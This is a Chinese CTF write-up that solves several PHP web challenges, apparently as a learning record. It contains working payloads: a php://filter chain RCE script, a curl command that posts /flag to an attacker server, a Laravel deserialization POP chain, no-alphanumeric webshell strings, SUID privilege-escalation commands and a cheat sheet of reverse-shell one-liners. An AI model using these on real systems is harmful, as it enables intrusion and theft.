    // 定义一个魔术方法 __invoke，当对象被当作函数调用时执行
    function __invoke() { 
        // 执行系统命令 'cat /flag'，读取并输出 /flag 文件内容
        system('cat /flag'); 
    }
};
 
// 释放（删除） $class 变量所指向的对象实例，这意味着对象已经无法通过 $class 访问
unset($class); // Oops! 这里的 unset 导致 $class 被删除
 
// 检查是否通过 GET 请求传入了 'c' 参数
if (isset($_GET['c'])) 
    // 如果 'c' 参数存在，则尝试实例化该类并调用其 __invoke 方法
    (new $_GET['c']())();
else 
    // 如果 'c' 参数不存在，则显示当前文件的源代码，并加上语法高亮
    highlight_file(__FILE__);
?>

这题的关键在于__invoke 函数

但是使用了 unset 函数，删除掉了

那怎么办呢，实际上这涉及到一个匿名类的问题（当需要创建简单的一次性对象时，匿名类非常有用）因为这个匿名类没有到 256 字节的长度，所以 unset 不会马上就删除掉它的内存，只是把这个名字给擦去了。那么我们只需要找到这块内存，然后扒出来就行了。

参考链接：红明谷初赛 2024-web-wp

本题的关键函数来了：get_declared_classes()，先在本地试试

<?php
$class = new class {
    function __invoke() { system('cat /flag'); }
};
unset($class); // Oops!
if (isset($_GET['c'])) (new $_GET['c']())();
else highlight_file(__FILE__);
$c = get_declared_classes();
//c用urlencode  输出最后一个  //有不可见字符
echo urlencode($c[count($c)-1]);

修改一下在靶机上尝试一下发现过不了

这里有两个位置一个是 %3A2，这个 2 取决于这个匿名类在哪一行被声明，还有一个就是最后一位 %241，这个 1 是网站访问次数，要么重开靶机使用 %240，要么使用一个较大的数，然后不断访问爆破（注意爆破最后一位是 16 进制），还有一个点也要注意，传入的必须是 urlencode 后的，因为有不可见字符。

ezchain

先上源码

<?php
// are you able to read flag.php ?
if (isset($_REQUEST['file'])) {
    file_get_contents($_REQUEST['file']);
} else {
    highlight_file(__FILE__);
}

这道题是一个无回显的 file_get_contents，通常的方法都不能使用

参考链接：https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle

补充一下受影响的函数：

文章其实我是没咋看懂的（大致意思好像是通过报错爆破出文件的 Base64 内容），但是会用脚本

读到了 flag.php 的源码

1
2
3

<?php
$cmd = $_REQUEST['flag_is_on_the_horizon'];
if (isset($cmd)) echo include $cmd;

试了几个伪协议，有的能出，有的还是不行，实际上还是用一个工具（用伪协议来拼），我觉得用命令行每次执行都太复杂了，所以就把这个脚本稍微改了一下，但是我这个脚本有时候会不好使，好像是因为引号的缘故，我还没找到

import requests
import base64
 
# 字符转换映射
conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
    '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
    '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
    '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
    'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
    'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
    'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
    'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'M': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'm': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
    'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
    'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
    '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
    '=': ''
}
 
 
def generate_filter_chain(chain, max_length=10000):
    encoded_chain = chain
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    filters += "convert.iconv.UTF8.UTF7|"
 
    for c in encoded_chain[::-1]:
        filters += conversions[c] + "|"
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        filters += "convert.iconv.UTF8.UTF7|"
        if len(filters) > max_length:
            break
    filters += "convert.base64-decode"
 
    final_payload = f"php://filter/{filters}/resource=php://temp"
    print(final_payload)
    return final_payload
 
 
def main():
    url = "http://yo0jbse0m8ssm6j2.neu-nex.fun/flag.php"
 
 
    php_code = input("请输入要转换的PHP代码: ")
 
    # 将PHP代码转换为Base64
    chain = php_code.encode('utf-8')
    base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
    print(f"Base64的值为：{base64_value}")
    filter_chain = generate_filter_chain(base64_value)
 
    # 发送HTTP POST请求，可以手动改成GET，GET传参有大小显示，所以这道题用POST
    response = requests.post(url, data={'flag_is_on_the_horizon': filter_chain})
    # 输出响应内容
    print(response.text)
 
if __name__ == "__main__":
    while (True):
        main()

执行一下发现 flag 是没有权限读的，我们需要提权，提权的方式有很多种，这道题使用的是 suid 提权（某些文件有特权，可以利用它的特权暂时执行 root 权限），下面这些代码都是可以用来查找哪些文件是具有 suid 特权的

1
2
3

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

这步我那个脚本就出现问题了，还是手动使用那个工具吧

可以看到这里有 find，可以使用它来提权

这题似乎还可以反弹 shell

常用的反弹 shell 命令：

# bash反弹
bash -i >& /dev/tcp/ip/port 0>&1
# 现在好像要这样写:bash -c "bash -i >& /dev/tcp/公网ip/port 0>&1"
 
# nc反弹
nc -e /bin/bash 公网ip port
 
# python反弹 
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
 
# php反弹
php -r 'exec("/usr/bin/bash -i >& /dev/tcp/ip/port 0>&1");'
 
# exec反弹
0<&196;exec 196<>/dev/tcp/ip/port; sh <&196 >&196 2>&196
 
# perl反弹
perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 
# awk反弹
awk 'BEGIN{s="/inet/tcp/0/ip/port";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
 
# telnet反弹
攻击者：
nc -nvlp port1		#输入命令
nc -nvlp port2		#输出命令
受害者：
telnet ip port1 | /bin/bash | telnet ip port2
 
# socat反弹
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:port

参考链接：https://blog.csdn.net/weixin_44288604/article/details/111740527

反弹 shell 要注意目标机中是否有上述这些环境，如果没有则可以换换姿势，还有反弹 shell 可出网也可不出网，不出网一般是自己测试，用 windows 连接虚拟机（二者在同一个网段上），一般实战都是出网的，反弹 shell 到自己的服务器上，除此之外还要注意服务器是否放行了连接 shell 的端口。

不过这道题加上 php_chain 之后我怎么尝试都不好使，以后做到类似的再说吧。

我来补充了，使用这个反弹成功了

`1`	`python php_filter_chain_generator.py --chain '<?php $sock=fsockopen("ip",port);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'`

ezchain plus

这道题属于番外篇了，是来自 BaseCTF 的一道题，先上源码：

`1`	`echo file_get_contents($_POST['file']);`

看上去很简单只有一句话，实际上要想利用他需要很大功夫，背后涉及到了许多 pwn（缓冲区溢出）的知识，我不是很能看懂，具体知识可以看这几篇文章

https://c1oudfl0w0.github.io/blog/2024/05/31/CVE-2024-2961%E5%A4%8D%E7%8E%B0

https://xz.aliyun.com/t/15549?time__1311=Gqjxn7itGQeWqGNDQiiQGkDuWuEjSS3hfbD#toc-0

直接用工具

https://github.com/ambionics/cnext-exploits/

它是基于 https://github.com/synacktiv/php_filter_chains_oracle_exploit 的

直接访问 /flag 就能得到 flag 了

还有一个 file_get_contents ($_POST [‘file’]); 的（无回显）利用现在这个 payload 还不是很稳定

https://www.ambionics.io/blog/iconv-cve-2024-2961-p3

说是签到题，我做着费了挺大劲，提示倒是给了不少，不然我真不一定能做出来

先上源码

<?php
// flag in /flag
// incredibly secure becoz we escape not only arg but also cmd
system(escapeshellcmd('curl http://'.escapeshellarg($_GET['url'] ?? 'example.com')));
highlight_file(__FILE__);

本题对 url 输入的命令进行了两层过滤，首先看一下这两个函数

看官方的解释感觉不是很好理解，于是翻到了一篇博客：https://www.freebuf.com/articles/web/182125.html

详细分析一下这个过程：

传入的参数是 127.0.0.1′ -v -d a=1
由于 escapeshellarg 先对单引号转义，再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下：’127.0.0.1’\” -v -d a=1′
接着 escapeshellcmd 函数对第二步处理后字符串中的 \ 以及 a=1' 中的单引号进行转义处理，结果如下所示：’127.0.0.1’\” -v -d a=1\’
由于第三步处理之后的 payload 中的 \\ 被解释成了 \ 而不再是转义字符，所以单引号配对连接之后将 payload 分割为三个部分，具体如下所示：

所以这个 payload 可以简化为 curl 127.0.0.1\ -v -d a=1' ，即向 127.0.0.1\ 发起请求，POST 数据为 a=1' 。

回到这道题，也是通过构造来执行 curl 命令来获取 flag，

我是使用了把 flag 发到服务器上，第二种方法没有试出来

先在本地上调试

1
2
3

<?php
 
echo escapeshellcmd('curl http://'.escapeshellarg("' WhatToDoInHereThen ?"));

php 代码输出结果在 linux 调试，服务器上开一个接收脚本 (socket 通信)，如果接受到数据说明构造正确。

import socket
 
# 配置服务器地址和端口
HOST = '0.0.0.0'  # 监听所有可用的网络接口
PORT =  port   # 你可以选择一个未被占用的端口号
 
# 创建一个 TCP/IP socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))  # 绑定地址和端口
    s.listen(5)  # 监听连接，最多允许 5 个等待连接
 
    print(f"服务器启动，正在监听 {HOST}:{PORT}...")
 
    while True:
        conn, addr = s.accept()  # 接受一个新连接
        with conn:
            print(f"已连接 {addr}")
            data = conn.recv(1024)  # 接收数据，最大为 1024 字节
            print(f"接收到的数据：\n{data.decode('utf-8')}")
            
            # 解析数据
            request_lines = data.decode('utf-8').splitlines()
            if request_lines:
                print(f"请求行: {request_lines[0]}")
            
            # 向客户端发送响应
            response = (
                "HTTP/1.1 200 OK\r\n"
                "Content-Type: text/html\r\n"
                "Content-Length: 19\r\n"
                "\r\n"
                "POST 数据已接收"
            )
            conn.sendall(response.encode('utf-8'))

(其实直接用 nc 监听也可以，不用这个脚本也行）

经过测试，最后 payload:

`1`	`' ip:port -d @/flag -X POST`

flag 此时已被服务器接收，查看即可

phpmagic

先上源码

<?php
// 检查是否通过 GET 请求传递了 'name' 参数
if (isset($_GET['name'])) {
// 获取 GET 参数 'hello_world.method' 的值，赋值给变量 $method
// 如果未传递 'hello_world.method' 参数，则将 $method 设置为 'crc32'
$method = $_GET['hello_world.method'];
is_null($method) ? $method = 'crc32' : 1;
 
// 检查传入的 'name' 参数的长度是否大于2字符。如果长度不符合要求，则终止执行。
strlen($name = $_GET['name']) <= 2 || die(); // 希望您的名字足够短 :)
 
// 输出基于 $method 函数处理后的 'name' 值作为 "今天的幸运数字"
echo 'Your lucky number today: ' . $method($name) . '<br>';
 
// 再次输出基于 $method 函数处理后的 'name' 值作为 "今天的不幸数字"
echo 'Your unlucky number today: ' . $method($name);
} else {
  // 如果没有传递 'name' 参数，显示当前文件的源码
  highlight_file(__FILE__);
}
?>

这是个很有意思的题，刚开始看的时候还是很懵的，不知道要怎么利用，一步一步来吧。

首先，我们在测试的时候会发现 hello_world.method 参数根本传不进去，这是第一个考点，非法字符的传参问题

参考链接：https://blog.csdn.net/mochu7777777/article/details/115050295

将 hello_world.method 改成 hello [world.method 就能传参了

于是传入？name=ls&hello [world.method=system

flag 就在眼前，可惜被限制长度给制裁了，就是读不了，那我们就需要接着绕过 strlen 了，搜了半天搜到一个数组绕过传入数组会得到 NULL，bool (NULL<=2) 可以过判断

确实可以过判断但是没什么用，system 函数也传不了数组，于是寻找 php 的函数中能传数组的函数，并且还需要跟这道题有关，简直是折磨，写个爬虫给 php 函数的名称和传参爬取下来（还问了别人好多遍），最后才知道是 extract 函数的变量覆盖漏洞，$method ($name) 传了两遍，正好可以利用这个漏洞。

参考链接：https://blog.csdn.net/qq_42357070/article/details/81982420

最终 payload：

`1`	`?name[method]=system&name[name]=cat /flag&hello[world.method=extract`

ezshell(Update: 2026-01-29)

先上源码

<?php
  // 检查是否通过GET请求传递了'cmd'参数
  if (isset($_GET['cmd'])) {
  // 将'cmd'参数转换为字符串类型
  $cmd = strval($_GET['cmd']);
 
// 使用正则表达式检查'cmd'内容，如果包含字母、数字或括号，立即结束程序
// 这一步实际上在阻止某些恶意命令，但这个正则表达式没有防止所有可能的恶意输入
if(preg_match("/[A-Za-z0-9\(\)]+/", $cmd)) die;
 
// 执行'cmd'中的PHP代码，潜在存在安全风险
eval($cmd);
} else {
  // 如果没有传递'cmd'参数，则显示当前文件的源代码
  highlight_file(__FILE__);
}
?>

这个题也是很折磨，最主要的是过滤掉了括号，没法执行函数

首先是看到了 ctfwiki 上的方法，使用异或运算来构造可以 GET 或 POST 传参的点，但是使用了大括号，这题也是无法实现的

然后搜索了无字母数字的 webshell，介绍了好多种做法：异或，或，url 编码取反绕过，自增运算

参考链接：https://www.freebuf.com/articles/network/279563.html

最后尝试了异或绕过，先用 php 跑出来一个字典

<?php
 
function generate_xor_results($i_ranges, $j_ranges, $filename)
{
    $myfile = fopen($filename, "w");
    $contents = "";
 
    foreach ($i_ranges as $i_range) {
        for ($i = $i_range[0]; $i <= $i_range[1]; $i++) {
            
            foreach ($j_ranges as $j_range) {
                for ($j = $j_range[0]; $j <= $j_range[1]; $j++) {
                    $xor_result = $i ^ $j;
                    
                    if ($xor_result >= 32 && $xor_result <= 126) {
                        $contents .= chr($xor_result) . " " . chr($i) . " " . chr($j) . "\n";
                    }
                }
            }
        }
    }
 
    fwrite($myfile, $contents);
    fclose($myfile);
}
 
$i_ranges = [
    [33, 39],
    [42, 47],   
    [58, 64],    
    [91, 96],    
    [123, 126]  
];
 
$j_ranges = [
    [33, 39],
    [42, 47],  
    [58, 64],    
    [91, 96],   
    [123, 126]   
];
 
generate_xor_results($i_ranges, $j_ranges, "or_rce1.txt");

再用 Python 脚本生成 payload

# -*- coding: utf-8 -*-
 
def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        with open("or_rce2.txt", "r") as f:
            while True:
                t = f.readline()
                if t == "":
                    break
                if t[0] == i:
                    s1 += t[2]
                    s2 += t[4]
                    break
    output = f"(\"{s1}\"^\"{s2}\")"
    return output
 
 
while True:
    arg_input = input("\n[+] Your arg: ")
    param = action(arg_input)
    print(param)

实际操作发现过滤了不少东西，异或出来的结果是有限的，比如要构造一个 echo 反引号 ls，发现没有 h，卡了半天问别人是用的自增和异或的结合，一下就通顺了，我怎么就没想到呢，没有 h，可以利用 g，再自增一下不就变成了 h 吗，于是顺利构造出了 echo 反引号 ls，传入还需要 url 编码一下。

`1`	$_="%#"^"@@";$__="'"^"@";$__++;$_=$_.$__;$__="/"^"@";$_=$_.$__;$__=",,"^"@_";$_=$_." `".$__."`";$_;//echo`ls`;

正当我以为结束了的时候，您猜怎么着，什么也没有了

接着就是一顿本地调试，确实是传入进去了，但是很奇怪没传入进去，想不明白先放这里吧，又构造了一个类似于 webshell 的 $_POST ["_"];，利用_来传入 post 参数

`1`	$____="#"^"\|";$____.="."^"~";$____.="/"^"`";$____.="-"^"~";$____.="*"^"~";$_=${$____}["_"];`$_`;//$_POST["_"];

利用_传入 phpinfo ()，心想这下总可以了吧，然而现实又给我重重一击，又和上面一样

于是请教了 web 神胡学长，不愧是 web 神，一下就点出了问题，原来是我没有理解 eval () 里面加上一个反引号，相当于 shell_exec ()，并且执行后无回显，其实把这个 post 传的参数去掉通过报错也能看出来

里面应该传入命令而不是 php 代码，要实现传入 php 代码，需要 eval (eval ())，这样才可以，而本题中过滤了括号所以没法实现，上面那个 echo 反引号‘ls 也是错在这里了，eval 执行的不是 echo ls，执行的是生成 echo ls 字符串的代码，细细理解一下就知道了，混淆了字符串和代码

传入 shell 就容易了，可以把 ls / 的结果写入一个文件中，然后还用 signin 的方法用 curl 发到服务器上，反弹 shell 这次又失败了，目标机上没有 bash 环境，curl+php 的方法刚连上就断掉了

我来补充了，某一天搜到了反弹 shell 的大全，于是又回来试了一下，感觉调用 php 那些命令执行函数执行反弹的 shell 都不行，估计是这些函数都被禁了于是使用这个命令

`1`	`php -r '$sock=fsockopen("ip",port);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'`

这次居然成功了

时隔几百天，我又回来看这道题了。和当时不同的是，我已经拿到了胡哥给的焚诀，也就是标准答案：

poc1：(php7)

`1`	?><?=`{${"`{{{"^"?<>/"}[%a0]}`?>&%a0=ls -al /

拆开看：

?>：结束 PHP 代码块（从 PHP 模式切回 HTML 模式）
<?= ... ?>：短 echo 标签（等价于 <?php echo ...; ?>）
套上反引号相当于shell_exec
异或那一坨算出来是_GET
${_GET}->${"_GET"} ->$_GET
%a0在url解码后是不可见字符，可以被用作key

总的来说就是相当于

`1`	`eval(shell_exec($_GET[不可见字符]))`

poc2：(php 5 )

import requests, io, threading

url = ''

content = b'''#!/bin/sh\n php -r '$sock=fsockopen("ip",port);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);' '''

while True:
    params = {'cmd': '`. /*/????????[@-[]`;'}
    res = requests.post(url, params=params, files={'file': ('file', io.BytesIO(content))})
    print(res.text)

具体细节见https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

ezthink

一个 thinphp 的框架

网上有很多关于这个框架的漏洞讲解，我试了几个不完全对，于是找到了一个工具

https://github.com/bewhale/thinkphp_gui_tools

（用 java8）扫描完之后直接利用那个洞就可以传 webshell 了，用蚁剑一连接，打开终端发现不太对啊

搜索了一下是需要绕过 disable_functions，还是需要用工具：蚁剑的一个插件（插件市场似乎打不开了，需要设置代理科学上网）

参考链接：https://blog.csdn.net/zlzg007/article/details/108462813

一顿操作猛如虎，可以执行命令，但还要一步提权

试了几种还是锁定了 suid 提权

date 似乎可以用来提权

参考链接：https://blog.csdn.net/hljzzj/article/details/122693379

ezlaravel

直接 osint 就出了，按照下面这个文章打就行，就是变了个路由和参数

https://blog.csdn.net/qq_54502707/article/details/128269292

https://xz.aliyun.com/t/11362?time__1311=Cq0xR70Qq4lx0nD2QbWi%3DRW4iqYvXox#toc-3

poc:

<?php
 
namespace Illuminate\Contracts\Queue{
 
    interface ShouldQueue {}
}
 
namespace Illuminate\Bus{
 
    class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = [];
        protected $handlers = [];
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = "system";
 
        }
    }
}
 
namespace Illuminate\Broadcasting{
 
    use Illuminate\Contracts\Queue\ShouldQueue;
 
    class BroadcastEvent implements ShouldQueue {
        function __construct() {}
    }
 
    class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct() {
            $this->event = new BroadcastEvent();
            $this->event->connection = "cat /flag";
            $this->events = new \Illuminate\Bus\Dispatcher();
        }
    }
}
 
namespace {
    $pop = new \Illuminate\Broadcasting\PendingBroadcast();
    echo base64_encode(serialize($pop));
}

小插曲：

刚开始一直出现这个页面，我以为 payload 有问题呢，后来才发现 call_user_func 已经执行过了，不过因为跳到异常里被覆盖了，用 burp 发的话应该就能直接看见了，hackbar 需要 f12 看一下 html

结语

round 1 就暂时告一段落了，这第一轮入门题就让我花了这么长时间，我何时才能成为 web 强者啊！！！